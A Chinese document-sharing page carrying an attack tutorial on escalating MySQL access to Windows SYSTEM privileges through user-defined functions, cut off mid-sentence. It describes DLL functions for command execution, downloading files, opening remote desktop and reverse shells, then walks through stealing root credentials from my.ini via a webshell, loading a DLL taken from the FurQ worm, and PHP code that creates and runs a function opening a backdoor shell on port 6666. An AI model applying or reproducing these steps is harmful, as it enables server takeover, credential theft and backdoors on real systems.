下载本文档
版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
1、.将MYSQL读写权限转化为system权限一、功能:利用MYSQL的自定义函数功能(再次声明:利用MYSQL UDF提权绝非是溢出,而是MYSQL本身的一个功能),将MYSQL账号转化为系统system权限。二、适用场合:1.目标系统是Windows(Win2000,XP,Win2003);2.你已经拥有MYSQL的某个用户账号,此账号必须有对mysql的insert和delete权限以创建和抛弃函数(MYSQL文档原语)。三、使用帮助:第一步:将PHP文件上传到目标机上,填入你的MYSQL账号经行连接。第二步:连接成功后,导出DLL文件,导出时请勿必注意导出路径(一般情况下对任何目录可写,
2、无需考虑权限问题),对于 MYSQL5.0以上版本,你必须将DLL导出到目标机器的系统目录(win 或 system32),否则在下一步操作中你会看到"No paths allowed for shared library"错误。 第三步:使用SQL语句创建功能函数。语法:Create Function 函数名(函数名只能为下面列表中的其中之一) returns string soname '导出的DLL路径';对于MYSQL5.0以上版本,语句中的DLL不允许带全路径,如果你在第二步中已将DLL导出到系统目录,那么你就可以省略路径而使命令正常执行,否则你将
3、会看到"Can't open shared library"错误,这时你必须将DLL重新导出到系统目录。第四步:正确创建功能函数后,你就可以用SQL语句来使用这些功能了。语法:select 创建的函数名('参数列表'); 每个函数有不同的参数,你可以使用select 创建的函数名('help');来获得指定函数的参数列表信息。 四、功能函数说明:cmdshell 执行cmd;downloader 下载者,到网上下载指定文件并保存到指定目录;open3389 通用开3389终端服务,可指定端口(不改端口无需重启);backshell 反
4、弹Shell;ProcessView 枚举系统进程;KillProcess 终止指定进程;regread 读注册表;regwrite 写注册表;shut 关机,注销,重启;about 说明与帮助函数;前不久网上公开了一个MySQL Func的漏洞,讲的是使用MySQL创建一个自定义的函数,然后通过这个函数来攻击服务器。最早看到相关的报道是在o-otik上,但是公布的是针对Unix系统的Exploit,并且成功率也不是很高.而近期,国内有高手放出针对Win系统的相关文章,于是我马上找来与朋友一同研究.其实我们早就能想到.当我们在对MSSQLOracle数据库进行攻击的时候,得到了最数据库中高权限
5、的帐户,往往都是执行特殊的扩展过程或者函数来进行攻击的。比如MSSQL有Xp_cmdshell,Oracle可以通过Msvcrt.dll来创建一个特殊的函数.而我们却始终没有想到,作为流行的数据库软件之一的MySQL,也是可以进行函数的创建的.由此看来,MySQL的这个漏洞不应称为漏洞而仅仅是一个技术而已.废话一堆过后,我们来了解一下怎么在MySQL里创建一个函数吧.这比如何利用重要许多,只要了解了原理,运用就能更加灵活,而且可以与其他思想融会贯通.MySQL中创建一个函数的语句为:Create Function FunctionName Returns String|Integer|Real
6、 Soname 'C:function.dll'其中FunctionName指的是函数的名称,C:Function.DLL指的是函数所调用的DLL,而函数名正是DLL中的函数名称.不过这里需要我们注意的是,如果我们需要MySQL可以在函数之中附带一个参数的话,那么就要符合UDF形式的程序编写规则,具体的可以查看MySQL手册的第14节:为MySQL增加新函数.而其中STRING,INTEGET,REAL是函数执行后所返回的值的形式.当然,我们大可不必遵循UDF形式的编写,其实如果我们的函数中使用一个我们要执行的代码,而不使用参数,一样可以达到攻击的效果,比如说System(&q
7、uot;")等等.网上现在以此漏洞进行攻击的FurQ蠕虫就是一个不使用UDF格式的例子.但是注意,这个创建函数的语句必须要求我们所用的MySQL帐户有对mysql这个数据库的写权限,否则无法正常使用.好了.了解了原理之后,我们来实战一下如何使用MySQL提升权限.在这里我们已经通过各式各样的漏洞取得了一个服务器的WebShell,我这里演示的是angel的phpspy,因为PHP默认有连接MySQL的函数,而ASP这些需要使用附加的组件来进行连接,本身不具备条件的.一般来说,在Win系统下面,很多软件都会在系统目录下创建一个叫my.ini的文件,其中包含了很敏感的MySQL信息.而如
8、果我们攻克的主机没有非常好的权限设置的话,我们本身就具有对%windir%目录的浏览权限,所以可以非常容易的读取其中的信息.而且非常多的管理员通常是将root帐户与密码写进这个My.ini,所以一旦我们读到root用户的密码,就可以操纵整个MySQL数据库或者是服务器了.如图1.得到MySQL的Root密码之后,我们需要上传我们的DLL文件,我这里使用的是从FurQ蠕虫中提取的FurQ.dll.执行这个FurQ.DLL中的Shell函数,系统将会在6666端口打开一个带密码的CMDShell,当然,密码我们已经知道,就是"FurQ"几个字符而已.不过我们现在还没有执行的条件
9、.需要通过MySQL将这个函数创建到MySQL中去.现在,我们用PHPSPY新建一个PHP文件.输入以下的内容$link=mysql_connect('','root','root');if (!$link) die('Could NOt Connect The Database!: ' . mysql_error();echo "Good Boy.Connected!"/这里的rootroot就是从my.ini中读取的用户和密码.mysql_select_db('mysql'
10、) or die ('use database mysql failed!');echo "Yes You Did!"/这里选择使用MySQL数据库表.当然你也可以选择别的,如test.$query="Create Function Shell RETURNS INTEGER SONAME 'd:wwwrootFurQ.dll'"$result = mysql_query($query, $link) or die ("Create Function Failed!");echo "Godde
11、ss.Successed!"/这两句话是关键,执行MySQL的创建函数语句.将d:wwwrootfurq.dll中的Shell函数创建进MySQL中.使得MySQL可以执行这个Shell函数.$query="Select Shell();"$result = mysql_query($query, $link) or die ("Execute failed");echo "Congratulations! Connect The Port 6666 Of This Server VS password:FurQ"/这一步是执行这个Shell函数,打开服
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 六一游乐活动策划方案(3篇)
- 施工现场施工机械设备管理制度
- 罕见肿瘤的个体化治疗长期生存数据分析与治疗策略优化
- 2026届四川省成都市金牛区外国语学校数学高二上期末监测模拟试题含解析
- 2026新疆兵团第十三师淖毛湖农场幼儿园招聘编外教师备考题库(1人)有答案详解
- 2026内蒙古锡林郭勒盟西乌珠穆沁旗招聘医疗卫生专业技术人员48人备考题库及参考答案详解一套
- 2026上半年贵州事业单位联考玉屏侗族自治县招聘41人备考题库完整答案详解
- 行管局管理财务制度
- 纪委涉案款专户财务制度
- 财务制度设计具体流程
- 苹果电脑macOS效率手册
- D700-(Sc)13-尼康相机说明书
- T-CHAS 20-3-7-1-2023 医疗机构药事管理与药学服务 第3-7-1 部分:药学保障服务 重点药品管理 高警示药品
- 2022年版 义务教育《数学》课程标准
- 供货保障方案及应急措施
- 建设工程施工专业分包合同(GF-2003-0213)
- TOC基本课程讲义学员版-王仕斌
- 初中语文新课程标准与解读课件
- 中建通风与空调施工方案
- GB/T 3683-2023橡胶软管及软管组合件油基或水基流体适用的钢丝编织增强液压型规范
- 高考语言运用题型之长短句变换 学案(含答案)
评论
0/150
提交评论